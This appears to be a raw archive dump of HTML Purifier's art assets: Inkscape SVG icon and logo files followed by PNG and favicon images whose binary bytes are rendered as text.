style="stop-color:#537ddd;stop-opacity:1.0000000;"
offset="0.00000000"
id="stop5005" />
<stop
style="stop-color:#000000;stop-opacity:1.0000000;"
offset="1.0000000"
id="stop5007" />
</linearGradient>
<linearGradient
id="linearGradient4993">
<stop
style="stop-color:#183577;stop-opacity:1.0000000;"
offset="0.00000000"
id="stop4995" />
<stop
id="stop5001"
offset="0.58142859"
style="stop-color:#8b9fbb;stop-opacity:1.0000000;" />
<stop
style="stop-color:#ffffff;stop-opacity:1.0000000;"
offset="1.0000000"
id="stop4997" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="0.0"
inkscape:pageshadow="2"
inkscape:zoom="23.255956"
inkscape:cx="3.2274095"
inkscape:cy="4.1487021"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="false"
showguides="false"
gridspacingy="0.50000000cm"
gridspacingx="0.50000000cm"
gridoriginy="0.00000000cm"
gridoriginx="0.00000000cm"
gridtolerance="0.10000000cm"
gridempspacing="2"
inkscape:grid-points="true"
inkscape:grid-bbox="false"
inkscape:window-width="975"
inkscape:window-height="759"
inkscape:window-x="130"
inkscape:window-y="129" />
<metadata
id="metadata7">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Layer 1"
inkscape:groupmode="layer"
id="layer1">
<path
style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000004px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000"
d="M 6.1949060,157.57756 L 6.1949060,157.57756 z "
id="path1319" />
<path
style="fill:#224db0;fill-opacity:1.0000000;fill-rule:evenodd;stroke:none;stroke-width:6.0000000;stroke-linecap:butt;stroke-linejoin:round;marker-start:none;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000"
d="M 0.58257145,1.2121863 C 0.63548185,3.4711463 0.61139575,5.1777365 1.0905516,7.3958765 C 1.2484712,8.3223265 2.8202544,8.4670465 3.5807376,8.5653065 C 4.0690207,8.6283965 4.0902492,8.5661465 4.0906878,9.1995265 C 4.1064337,11.195036 4.0317991,11.792303 4.0906878,13.786273 C 4.0906878,15.786203 4.0909380,15.786453 6.0908601,15.786453 C 9.0907431,15.786453 10.414747,15.786053 12.414669,15.786053 C 14.414592,15.786053 14.414842,15.785813 14.414842,13.785893 C 14.418166,10.552283 14.404522,7.8374163 14.421897,4.6040763 C 14.625008,2.9294663 14.978320,2.5231063 15.830433,1.1499263 C 15.040843,1.1499263 14.943078,1.1493063 14.129102,1.1493063 C 8.8912931,1.1493063 5.8203807,1.2121863 0.58257145,1.2121863 z M 2.0905126,2.4028663 C 2.8330809,2.4028663 3.3476197,2.4028663 4.0901879,2.4028663 C 4.0901879,4.8586963 4.0906878,4.8408265 4.0906878,7.2966665 C 3.2248799,7.2967665 2.2374444,7.5239665 2.1488437,6.3255665 C 1.8765344,4.2270765 1.8837837,4.4962263 2.0905126,2.4028663 z M 5.0906487,6.5656265 L 6.8695071,6.5656265 L 6.8696331,13.558223 L 9.8657791,11.557663 L 9.8656551,6.5656265 L 13.414631,6.5656265 L 13.414631,13.786523 C 13.414631,14.786503 13.414631,14.786503 12.414669,14.786503 L 6.0718351,14.786503 C 5.1948474,14.786503 5.0907740,14.786723 5.0907740,13.786523 L 5.0906487,6.5656265 z "
id="path1325"
sodipodi:nodetypes="ccsccsscccsccccccccccccccccc" />
</g>
</svg>
PK j�$Z�a��) ) htmlpurifier/art/powered.pngnu �[��� �PNG
IHDR P ���� �IDATx�c ���0� Ú&��v�@H�=���5��7�� uͤ@�i��Ao0�<̂Ɵ��uN�(�1e�kdY�D�� /) I}M�2S�E.b�T�"��h ��pA�aA @�* Y���ʐ��"hV� <VI�3$p9�,�R��`��ax��q:1i�/��D �T�a2 <t�x��oXݍ&EL�E���w�4)��z8��ވ��F���y����F�&:�H�- %Ŧ��z7 IEND�B`�PK j�$ZET�on$ n$ htmlpurifier/art/favicon.iconu �[��� h 6 � � @@ ( F ( @ ��� �M" � �� �� �� �{ �; �; �; �; �; � � � � � �� ( @ � ��� �M" ������ ����?��?��?��<��<�< �< �< �< �< �< �< �< ��< ��< ��< �� � � � � � � � � � ������������( @ � ��� �M" ����������� ���� ��� ��� ������������������������������������������������������������?������������������������������������������������������������������������������������������������ ���� ���� ���� ����?��������������� � � � � � � � � ?� ?� ?� ?� ?� � � � � � � � ����������������������������������������PK j�$Z)�� � htmlpurifier/art/icon-16x16.svgnu �[��� <?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://web.resource.org/cc/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="16.000000px"
height="16.000000px"
id="svg2"
sodipodi:version="0.32"
inkscape:version="0.42.2"
sodipodi:docbase="C:\DOCUME~1\Edward\MYDOCU~1\MYWEBS~1\HTMLPU~1\art"
sodipodi:docname="ICON-1~1.SVG"
inkscape:export-filename="C:\Documents and Settings\Edward\My Documents\My Webs\htmlpurifier\art\icon.png"
inkscape:export-xdpi="90.000000"
inkscape:export-ydpi="90.000000">
<defs
id="defs4">
<linearGradient
id="linearGradient5003">
<stop
style="stop-color:#537ddd;stop-opacity:1.0000000;"
offset="0.00000000"
id="stop5005" />
<stop
style="stop-color:#000000;stop-opacity:1.0000000;"
offset="1.0000000"
id="stop5007" />
</linearGradient>
<linearGradient
id="linearGradient4993">
<stop
style="stop-color:#183577;stop-opacity:1.0000000;"
offset="0.00000000"
id="stop4995" />
<stop
id="stop5001"
offset="0.58142859"
style="stop-color:#8b9fbb;stop-opacity:1.0000000;" />
<stop
style="stop-color:#ffffff;stop-opacity:1.0000000;"
offset="1.0000000"
id="stop4997" />
</linearGradient>
</defs>
<sodipodi:namedview
id="base"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="0.0"
inkscape:pageshadow="2"
inkscape:zoom="23.255956"
inkscape:cx="3.2274095"
inkscape:cy="4.1487021"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="false"
showguides="false"
gridspacingy="0.50000000cm"
gridspacingx="0.50000000cm"
gridoriginy="0.00000000cm"
gridoriginx="0.00000000cm"
gridtolerance="0.10000000cm"
gridempspacing="2"
inkscape:grid-points="true"
inkscape:grid-bbox="false"
inkscape:window-width="975"
inkscape:window-height="759"
inkscape:window-x="130"
inkscape:window-y="129" />
<metadata
id="metadata7">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Layer 1"
inkscape:groupmode="layer"
id="layer1">
<path
style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000004px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000"
d="M 6.1949060,157.57756 L 6.1949060,157.57756 z "
id="path1319" />
<path
style="fill:#224db0;fill-opacity:1.0000000;fill-rule:evenodd;stroke:none;stroke-width:6.0000000;stroke-linecap:butt;stroke-linejoin:round;marker-start:none;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000"
d="M 0.58257145,1.2121863 C 0.63548185,3.4711463 0.61139575,5.1777365 1.0905516,7.3958765 C 1.2484712,8.3223265 2.8202544,8.4670465 3.5807376,8.5653065 C 4.0690207,8.6283965 4.0902492,8.5661465 4.0906878,9.1995265 C 4.1064337,11.195036 4.0317991,11.792303 4.0906878,13.786273 C 4.0906878,15.786203 4.0909380,15.786453 6.0908601,15.786453 C 9.0907431,15.786453 10.414747,15.786053 12.414669,15.786053 C 14.414592,15.786053 14.414842,15.785813 14.414842,13.785893 C 14.418166,10.552283 14.404522,7.8374163 14.421897,4.6040763 C 14.625008,2.9294663 14.978320,2.5231063 15.830433,1.1499263 C 15.040843,1.1499263 14.943078,1.1493063 14.129102,1.1493063 C 8.8912931,1.1493063 5.8203807,1.2121863 0.58257145,1.2121863 z M 2.0905126,2.4028663 C 2.8330809,2.4028663 3.3476197,2.4028663 4.0901879,2.4028663 C 4.0901879,4.8586963 4.0906878,4.8408265 4.0906878,7.2966665 C 3.2248799,7.2967665 2.2374444,7.5239665 2.1488437,6.3255665 C 1.8765344,4.2270765 1.8837837,4.4962263 2.0905126,2.4028663 z M 5.4346466,6.5656265 L 6.8695071,6.5656265 L 6.8696331,13.558223 L 9.8657791,11.557663 L 9.8656551,6.5656265 L 13.070633,6.5656265 L 13.070633,13.786523 C 13.070633,14.786503 13.070633,14.786503 12.070671,14.786503 L 6.4158330,14.786503 C 5.5388453,14.786503 5.4347719,14.786723 5.4347719,13.786523 L 5.4346466,6.5656265 z "
id="path1325"
sodipodi:nodetypes="ccsccsscccsccccccccccccccccc" />
</g>
</svg>
PK j�$Z��9 htmlpurifier/art/icon-64x64.pngnu �[��� �PNG
IHDR @ @ �iq� sBIT|d� tEXtSoftware www.inkscape.org��< �IDATx��?�
A �?w����ߍF���"� ������T*��B�舂�J4$3!(��BD"��p�������S�����{��vg��{�d��?7���f���lO�V���- 6]b �M_���%�<�'s�Z�F�U���R_&qؕôv� p&��b)�@
�g��e
�KM�- ��A�S � �'�c�� �^6hp= &�+����뉬�8a�Ծ�D��3y x��f�� J���F�_ٌ<|,OOP���vf���v��kF��vf�& 5ہ���f|4Z���#Wf�.�.��7��U�5ૣ�K)r�3`� td
x�(_X���<�43`I�Z�0�+�g�����*�!5�,UU��z稳,��X�����Bba��Q� "��,c��Q��"�e��Bb�g�]l��i�����c�uO�^`G^q�Y�B ��l�h��xz&o�����ό��]"Q�s�Q祯�F�D-�[wT0Z��Κ��/5�U1�;� �Xe��N GD�I� �Gn���ˀ��nO��� ��1k�F���D �sq�hy X��rJ��1 ��C`�H�r` ��tlX
,(Za,��1Z d~�E�k�
�>`ZI�J��.��o�+���M��BU��
/
h#E�K���;���ĦS �>�����4� Ϛ�8�T���|����O6�����-�:aU" {׃]<T#��,1# �]o}J�d��,�#`�H}�G�8��c���+=�W1����ek�V ���Y�9Q��+��0eP��e�Ʈ������B$j���P� h��E@�H�[`�5�_Ja*i�/f��=Ep8�ȯҲ�M_������.`&�N��n�
�z���Z��?��mF�߾J=E~>/� ��F�i�F��A�t�� �]x�?C��L&:/! IEND�B`�PK j�$Z^��� � htmlpurifier/art/logo.svgnu �[��� <?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:cc="http://web.resource.org/cc/"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:svg="http://www.w3.org/2000/svg"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd"
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
width="82.000000mm"
height="82.000000mm"
id="svg2"
sodipodi:version="0.32"
inkscape:version="0.42.2"
sodipodi:docbase="C:\Documents and Settings\Edward\My Documents\My Webs\htmlpurifier\art"
sodipodi:docname="logo-bold-large.svg">
<defs
id="defs4">
<linearGradient
id="linearGradient5003">
<stop
style="stop-color:#537ddd;stop-opacity:1.0000000;"
offset="0.00000000"
id="stop5005" />
<stop
style="stop-color:#000000;stop-opacity:1.0000000;"
offset="1.0000000"
id="stop5007" />
</linearGradient>
<linearGradient
id="linearGradient4993">
<stop
style="stop-color:#183577;stop-opacity:1.0000000;"
offset="0.00000000"
id="stop4995" />
<stop
id="stop5001"
offset="0.58142859"
style="stop-color:#8b9fbb;stop-opacity:1.0000000;" />
<stop
style="stop-color:#ffffff;stop-opacity:1.0000000;"
offset="1.0000000"
id="stop4997" />
</linearGradient>
<linearGradient
inkscape:collect="always"
xlink:href="#linearGradient4993"
id="linearGradient4999"
x1="283.46457"
y1="141.72675"
x2="11.135608"
y2="141.72675"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(2.000000,4.000000)" />
<linearGradient
inkscape:collect="always"
xlink:href="#linearGradient5003"
id="linearGradient5009"
x1="2.9621078"
y1="141.72675"
x2="283.46457"
y2="141.72675"
gradientUnits="userSpaceOnUse"
gradientTransform="translate(2.000000,4.000000)" />
</defs>
<sodipodi:namedview
id="base"
pagecolor="#ffffff"
bordercolor="#666666"
borderopacity="1.0"
inkscape:pageopacity="0.0"
inkscape:pageshadow="2"
inkscape:zoom="1.0000000"
inkscape:cx="100.23897"
inkscape:cy="178.03397"
inkscape:document-units="px"
inkscape:current-layer="layer1"
showgrid="false"
showguides="false"
gridspacingy="0.50000000cm"
gridspacingx="0.50000000cm"
gridoriginy="0.00000000cm"
gridoriginx="0.00000000cm"
gridtolerance="0.10000000cm"
gridempspacing="2"
inkscape:grid-points="true"
inkscape:grid-bbox="false"
inkscape:window-width="975"
inkscape:window-height="759"
inkscape:window-x="139"
inkscape:window-y="88" />
<metadata
id="metadata7">
<rdf:RDF>
<cc:Work
rdf:about="">
<dc:format>image/svg+xml</dc:format>
<dc:type
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
</cc:Work>
</rdf:RDF>
</metadata>
<g
inkscape:label="Layer 1"
inkscape:groupmode="layer"
id="layer1">
<path
style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000"
d="M 19.726130,9.6194746 L 19.726130,9.6194746 z "
id="path1319" />
<path
style="fill:url(#linearGradient4999);fill-opacity:1.0000000;fill-rule:evenodd;stroke:url(#linearGradient5009);stroke-width:10.000000;stroke-linecap:butt;stroke-linejoin:round;marker-start:none;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000"
d="M 4.9621078,5.1031050 C 5.8995325,45.125639 5.4727947,85.709799 13.962107,125.00936 C 16.760003,141.42321 35.988453,143.98728 49.462107,145.72811 C 58.113128,146.84585 67.112800,145.74318 67.120572,156.96457 C 67.399545,192.31975 66.077225,216.69948 67.120572,252.02707 C 67.120572,287.46015 67.125004,287.46457 102.55807,287.46457 C 155.70768,287.46457 179.16536,287.45768 214.59843,287.45768 C 250.03151,287.45768 250.03593,287.45325 250.03593,252.02018 C 250.09483,194.72943 249.85310,122.48395 250.16093,65.197704 C 253.75952,35.528496 270.36749,28.328596 285.46457,4.0000020 C 271.47521,4.0000020 259.39483,3.9889299 244.97343,3.9889297 C 152.17399,3.9889293 97.761552,5.1031060 4.9621078,5.1031050 z M 31.678643,26.198667 C 44.834892,26.198667 53.955464,26.198667 67.111714,26.198667 C 67.111713,69.709084 67.120572,79.741005 67.120572,123.25143 C 51.780853,123.25317 34.281868,127.27859 32.712107,106.04622 C 27.887543,68.866763 28.015982,63.286945 31.678643,26.198667 z M 84.837103,110.29921 L 102.55585,110.29921 L 102.55807,247.98656 L 155.64148,212.54217 L 155.63926,110.29921 L 232.31496,110.29921 L 232.31496,252.03150 C 232.31496,269.74803 232.31496,269.74803 214.59843,269.74803 L 102.22100,269.74803 C 86.683215,269.74803 84.839322,269.75212 84.839322,252.03150 L 84.837103,110.29921 z "
id="path1325"
sodipodi:nodetypes="ccsccsscccsccccccccccccccccc" />
</g>
</svg>
PK j�$Z�X yg g htmlpurifier/art/icon-32x32.pngnu �[��� �PNG
IHDR szz� sBIT|d� tEXtSoftware www.inkscape.org��< �IDATX�헿jA���,*��hTQ�� 6F�)��*���|!�i-f
��"RX��
�hDm�&`�U�;c&��z��{��Ü�=3��3gy�ӧ�z�d J��a`��Td��k1��e�L?�N���`3z�� =� �t � ά�8�Eqf5<(m_�-!�܇�$��r�2= F
�)άO `)��� ��� k��?�Uq�[
�߫�=�1���7 ��`�� ��� �=W�{ 8�ە
���O�.�M� ę-�� '�y��bG ��'q� ��h�F�I��-�M�Ⱦ ���kZן�I�� ���(���g qf�I(mwQ����}]T$��P�y��*x-@�_}t�� m| n�p8-�<i:1��K�>��̣q79�����0ZB�>g�ʜk4�����pL ��V��]g �Q2*���,ō���FX�Q\Nڸ�,7���(Vv�9�s�'��-� ~�^�| n�� IEND�B`�PK j�$Zy~U�~ ~ htmlpurifier/art/icon-16x16.pngnu �[��� �PNG
IHDR �a sBIT|d� tEXtSoftware www.inkscape.org��< IDAT8��ӽJQ��'KjE��Al� Q�ހ����Y����AlLi���X� X�ɶ�(���ZdCI41S�of��SH�� Q���b���A�� �X�3�0���:��2�0��]���$��� ��P�q�g4� � x� ��'�c<W<�~�\�N.H�[���j+��X��I ��ha������U\洿�� ��TP K��~ �np�_@������Sͷ���$����~u�`� K�� �Q g} e�a[����
��o�CF��
� IEND�B`�PK j�$Z��'�
�
htmlpurifier/art/100cases.pngnu �[��� �PNG
IHDR � v �0 pHYs � ��+
^IDATx���OhW���RhKYD(�)[0���7�M����-�,ҥ� rٚ�!=%�c�� � �ڧ��� bQL 2��.�a�Tfa��!� /�PX�=����y�f4�_����7�����7��R�}� ��; � � <` ��-�# � � <` ��-�# � � <` ��-�# � � <` ��-�# � � �"c ���
����Ē��U��6L )c =��q�F��X���gX�W�V�ݮ�Z`�\��v��j�& �B���/��"���a�XLh���ڢfU\U�RissSmTS�`0���4�yt������w+��e~�n���hgg'�$�v�ZbJ�z}�������4 aY�H}�=x� ���x�b��gΜSO�v�].���
p䥾^�zSSS�V�u��]�^���$V�U^����l\� ̥� =y�$pt������ ��`�������~�T*�RI.\[[3���*�^occ�\.��666�C ����j���z�\lkk+F�� +�~��۞� �"�j5�V�G�L�J���E�j�������^��2�~_d���y2�E�u�jb% T������0� ��mؔG2�dLt�]�D>�$CJn(��7mX !���f�)��j�[Q�\۰&�1*3T.���,s(A�
͛6����Ắ: �t:�A`O .3�5� O�X�T3)�@�yӆ� L�g���]�|Y}qzz:pewwװ�����3�jr5������U'�Gu�T #��U���?Z��Z����i1[g��ח��� k9�1oڤ �Q �ø�Q?�w^�!�ak %� �G&t:�T&V@0�^���Y[[�� ����?}�Ԥ��H�`�/��-�Czass3U��T &�79�>���2�3t&̼���j�4u� lhشa% ������իW�������w�ϝ;���K���=q�Yx���|��� o�f:z�T ����i�u��|�P� Ѵ��3qRU���j�*F�y��@�Xy�Z}+p����{�xh � ����j�į�f�����%��R�K �%�f����i���F��G�TR[WkcS��F�=� W%?�4��`��(�l6#���5��4��zͶ�fSN�\ו�e��w��n�[��E(��9��t:�����@�V���1~1 ��w�� [�G lA �y�� [�G lA �y�� [�G lA �y�� [�G lA �y�� [�G lA �y�� [�G lA �y�� [�G lA ��;q+
˅�� 0?` ��-�# � � <` ��-�# � � <` ��-�# �)��%?ra��� ��u����~�q�]�y7��_�ᵵ+5u�zi]�������i^o�K~�zSSF윸�/���Ď��d�1�4QX.� ᔉ\>�:gL;m�69Y��\�s�� n�x���?v�] ������{�]8�P|��8����
o ]�W�R��?wj���=wj��_�T
�'m�y+���P��pc�1��
,�ZP�>ryxU.u�ۦ ����o�wWx7� _�z�5���������k;7;�����~�.,{
�qfN��ؓ1Y�[��`b����׳[/�&>�X�[�o�9�v��3 !w�?��ծ�fNδ_�� ͇�n�o���Ku�� �~=�8N�^v ��|0� �`�0��;���?zۉ_��� X��. o�P��f����k��S��H���3�{�U�4]r ��'�%����|�\U�T=���Iu:v�����?��Ǹ>Ǎ+�q�p��eޫiO��=��@"G�Ye����#�:1���,_�/�u5���N�b��i6�y�쳦9��g~즊S��L}9U��^9]������D�|q����.�mX�Rs ��#wQܸ� �Q�T*�{U2�*&{f�������F�� �i�A�XT�[ij��������W �p�* ����t�3X�W�ӕ������nx�;���T������K�f\��%�$���D�,m�*���7�(��l4�7�f'�[ �<�<G���+M��h:_�8��G���z����ə�3 r�z6�>��Gq��� �T��a� 0�$_q�cxţ)s��gFxb@�P��9J�o��gu�o"����o?��r��B2?.� �Tc��g��Wb(��=�|�3����M�72F�3Rx�nbX����-r2o��"��o�~��ܳn�ŝ�;�����W9]�4��{�y�6S�N��� ����鞿�K~���y� ����{���h"��X� o�a��M��_fy� =���]}���ǝ �wC�3��@�qK"+�o y�`������Ai^���wEd��P�L�zs��\���qunv�?�V�.~���9��}y\2 )�Ib2�@����(�`�۪;$��!\(e�<��"�d�mq��:����y�� iF�C q�w
��C a�/�Pr��̏ <` ��-�# � � <` ��-�# � � �"��l 8`̏ <` ��-�# � � <` ��-�# � � <` ��-�# �� �g ��� y IEND�B`�PK j�$Z��bb
b
htmlpurifier/art/logo.pngnu �[��� �PNG
IHDR P P �� sBIT|d� tEXtSoftware www.inkscape.org��< �IDATx��yl � �?3��Đ �LS���(�P��rH=�H�(�T�HK�PQ�O�E -j�P[� �J�M�M�8I��c �$�q��{����� s��z�Y{�ڻ_i=�7��k����Ϳ<x7�ZJѨ�Д��BSR�[��@I��rK%Dž9n%P2{��e� ��v�,y� uʈ��Ⳝ�]We 3�<�9��5���z��
� @}�ƹg���qe �0TZy��
s~)�n%��<���g�'��7�MK�<��r��(!���t~e�#�-�2m�]W�_��9��&�75@�[�V˃+�@H�aH�h�C ���t�'��l�7�]�
!%RH�T!��QH�w���\���;_:�;�0� ��W7yk�Rt �2�G/���ÛI�N��=�j�,
���h\0 J�w�R�yW��B��ASc�4\��#t�]�����\)� ����� ��t�d��k��y\�鲦��1����MJ���}`v���jڝ�G�\�rD*�x��AI;�w�H<�N�V`�& � ۩��&8�w�9��Q�=o R1;h#pOf�t �Ei�1���5W��u�k�n)�PX�� ��� ���ˍdLf�K��Y�;�~$�,S#����l�V��`��N �� ]
|$5-S�<����$�\i �w*#�"�p[1
4�QF�u�� p�D�=��q,�>� #�}���?$�#����H"q�ӄ��G��7N����K`t�3�T�]���J���V�� F2j{7�EN���d"�&\
����7s�sC�m�{��eE�
�����]�ҹ��3�`4M�is<OV�,�j3�l�`8d{��6y�_�Z�6x1����*�� ��|h��� �\����Mo�f<��� �� �*0��mO!�6a��4�M_���9�[��#��úu�y�R �O ��n�ؘd$�r"3�2�~0 <�
:+���͐��O�7��R�N�����mGض� �0<�B�un���~�1�B� [w
����~���F�Z� &T��y�=G��[���]�Y^���)�� �T%���#�ʓ/�ᓄ�����V�~@ ����s��skii�! 7}����7>r�s�*T*� �� �V�z��`y-3�� O��X��� X ��=xznx^�p
�K��'������GO���7}� ���(�x�+?~�GJ�%�1�d@IQ�į4�l{�k�p�ڏ�qG���Qh!��}�J��B�q���p\45�����ͥ�h��{���5�o �l�� �s���x7�
��Ӹ}�BV}�����&,l�Y�6�*�̭ �k[����V����7�ە�slh��P�`8I(��&i��Y�`Nցc6�!�w.�Y�:`�P0��W��ϧ�&͢�i�;���-��,��{g
2'?�b��l�dգشk�@$5>�,��Л ��ƫ�_�g�=�n��S<�� ���ղh~ m�5���ik����/V�g,�m)]���WoZݹ
xXj�0�pij�uE[����m���SSSy�p���>s��_� X�9�l'�KC(��l�5Ț�u 32��zL�����/�Ɯ >h=< �� s�I+�qh4����|���z���
k�������n{�<��p�8�G.���7� ���x��A�ZPΟ� 5�/�E`ŢJ`��X ��*��J���_%�@T ,U D��Q%�@T ,3�@!&���H��;�r�a���Cwp��vK��%ppp��;��x7=w`�3N�Pv�`��ٿ�J:[�#�*����,;ʊ���n�& ��-��;���4��eA�a��N/�=�T�x��-�����8p"��v
z>���ط���7 Lq`)�2 o �s_�m� ����]o=\��s�$�b<�n7��6+:����R�i�( ��CTڜR �xt�?��s��}��7��`��1eL�RnsdSu?�����X�x
4ۣ�5ߧ{vi� �_�#|�͏| �x�z�t�B�t*o���X&g{��k�kt�I �d'���1����/ 4��B�v"�Մ-#��V����"���p�m���y�X
L��xY� ?�h���[��UIѩ��*%�%�#�S���f���>��EV���@�ឋ.<����*�H�):�uM44�����% O�ڄݟp]��LΙߔ3CY@�8�+�,�RzƍiU�q0�#�-M~j�>���S �p��GF��%I$S���[)���p s��`��n��G ��
��<i#��Jg��6n�+�,
� Z���7",�q��U�<�]�������p���ٺ�Ѿ���g�Vֆ�� ��cD�+ :�׆�b�p?���>�B�3���Z
e�OQh(
C��0,{Զ-j!�cI\Zq�"��Z7��y!J+̕�E�.$���0R#��Ja��DC' 8ྞ�pM��,?���凔w͂��У��8� �纋���X��_z"<\�/y ��-�Q�4k IEND�B`�PK j�$Zn��
�
htmlpurifier/art/1000passes.pngnu �[��� �PNG
IHDR � � ��=" pHYs � ��+
tIDATx��ݿo�F�q�p]
w�:�*�9�K
� ���I�.8�[��m��gW�"vs�JE����"���6�:���u� s�3��Gʒ���@&���p�DR���l6 �_v <U$P P"�� �H� �D %( (�@@�
J$P P"�� �H� �D %( (�@@�
J$P P"�� �H� �D %( (�@@�
J$P P"���2��{����}���d' Y%oMH��O�d(���p�ck///k��͛7
c��蝟�_]]�F��r�뢉�juuu��t���V�U�؛7oL1;��PVG���p8,�b0Ԗ,�2�cbU�)�����0ld�X�&��t���y�rww�[���{)��,�t����6~�f*�͚���
l0������y��ʲ�v���|>w��tZ[ �����$�� r�U���ݮ�i�;�d��H��{�^�$c�.��hEas��Ns�|< �F�J4릡n��V�
�ڼ�=�Z�g��� *�%�l6�F����h������DX���� �u����:zdm���_��/�$���>��Sa���MR����Ѻ�N!���^����:4I�����w�D���E�^NJ���͔�N��� �ئ˴5�f��w��xxx� i�^�����U;2�c���ei�`0o�T�l&g��+�2]
�n�Xx�)v$����\̝��eji�
���^$c[�&���1�ͭ� ��p8�υ�ˋ� �mt��~Fuز/�_�~�]����Ϲ��m�Y��Z�����[j|�� �/����������?V�+��M^}���r����p/Ǯ��%�3��ry{{{~~n�
7a�Z��ޚWWW��r�\������{�3|�����qrrrss�.y���Wf6�}��W���7U����"�(�b�۷o�#G����L҈�<����G{,��W���t:��y� �H��$u#�Z���o6{T�
�4�N�S��a
��;��l�dX㯫b^�;�.�#~w" ;R�#�9֬��B��U��enw$)�$1��B�țpvh��7����-�G��q�ę���յ����c+�bl�dX㯫b_{o<��خ*��=V� )�� 6k?�1��D0�U�͇���|zck�"Q@x\dE{ 26u:����{ "�d�|�(6 �/�ۤo� �Co�{�a�i�] ْ"��Ya��;�����$O�7�Gs�^�7 ��a�؉`��Qf ��'.鍭 �X�q��1Șp�^�=� /Ǣ}���b��5��9�[���ds�"�Z�ȖH�E1��*���LfX6���6#�H�0fE��Z�U�]�,�^���vm�NGUs����Ȋ�Hg�|>�1�c��Ur�F���� Q�@���;K�ȖH�E1��*7� ��� )�Ƭh6QK�*+��vb��EV��@���� |�ڻ ����2u��- ~Ld�"�]K�
��aQ����~�^���OyG�������VeEU�N�@!�pd�h���u,9�.��룍�� o$��ʯ��Ǽ�
�6" U1J�Z��uU�%ޘ��F�QV<�f�0�v�\�*+��vb�6V72�J���W>����Im��/�K���g� �\I�u��-�Ħ]o����ؾv��x<�
�b3ӵt����m'V �Ѝ̡m�c��y��#���!o�{�;�%ToC��®��l�dX㯫.tonT��;ʊ���/�KbV�D-ݪ��jۉ� Y� ��o"M&�]���ɉw96�Lj�ܕ�>�����6���իW��?�`o�zo�i�4r��I�VӖL&��h��G m���n�ɯ/�e xO:���i�?����w�/�cV01Y�x?L����M�S�9-���##�a�3��,���f5�%�aQ�n��mG{��5#aG�b����<y���S��| &V]_钵�$
� �� ��?<<� ? �94��w?h?r�W��Ur��In�V+��knkf��ɣw���+�'ㄍlC+�H�k�U��92onnkZk�S�a��i�X��I<��w�o�{?ily�DU$��X���h��.9.�� ��� 6<,�hG�E*�:������E �b�0Ǟ9$z�^�i�|>�MyiB�H�$â����*�o� ����p3=�LMas�դ��
��& mIG��B1&��i0��5 %( (�@@�
J$P P"�� �H� �D %( (�@@�
J$P P"�� �H� �D %( (�@@�
J$P P"�� �H� �D %( (�@@�
J����y�8 ��� �H� �D %( (�@@�
J$P P"�� �H� �D �F t��� VVׅ�6��|Q�/��2�~��q3�~�p�>��\9�ݵދ-�����~G�>�n~�t~�����4��J[�g�g�ϼ������ó�gg ��/��}��}&�ٝɕ����d�= ���"e5�&�ЛO�ܺnE��U������P�<{y��� ��������N_��T,�g���`�ɢ��= ��; �
�o����o���)��9�M�g��M0g���$��U]�Tq+�w3�>�]V LTO,�]��WF2�^w�ѫ�2xL��R�Ş�
�P�j�T� �V6�r+�r���Ɂ�n�4 �p��� GJ^��F��"� �2�X��b��%��R�?��cv!��gϢn_T�K�=��vTӓA8U$#�d[ҳ�}-<jb{M��$v ���Z����C�%[����?���n<��t�M��<wZ��A�@�(�E(,���%�/ᒶ&�D��W@����d�3Po��<�ޫ.���gTE�@H��C�3�}Py�'�Y�S�D���]�<�$H��>�0�Pm �F�K���)��%�v� ڇH�B��]�M�~��~g��dy-�~i}Oe� �3+ y#B
�}��^ h��F_y�]TݳPԭ�[QXEؠ��|w��PE��`��t��fS�@������rr��su���� ӋO.V�.'���ە�/��)ỷ�k�ż�VQlB8��D�^�ؕ^ݬaO���l��=�c'���đ _ k� 5����t��kFa�D�a��F%^�2^��CQY �������g �M�3��__�r��}U^� ��zO%&I:�ʛ��kOlF%66]� �&���b�ͫʅ�]�ސ�8�*��r^�@�+��1۳��:�!ݕ��C�
�:�� �#�>1�w�����ٮC����� %�@@�
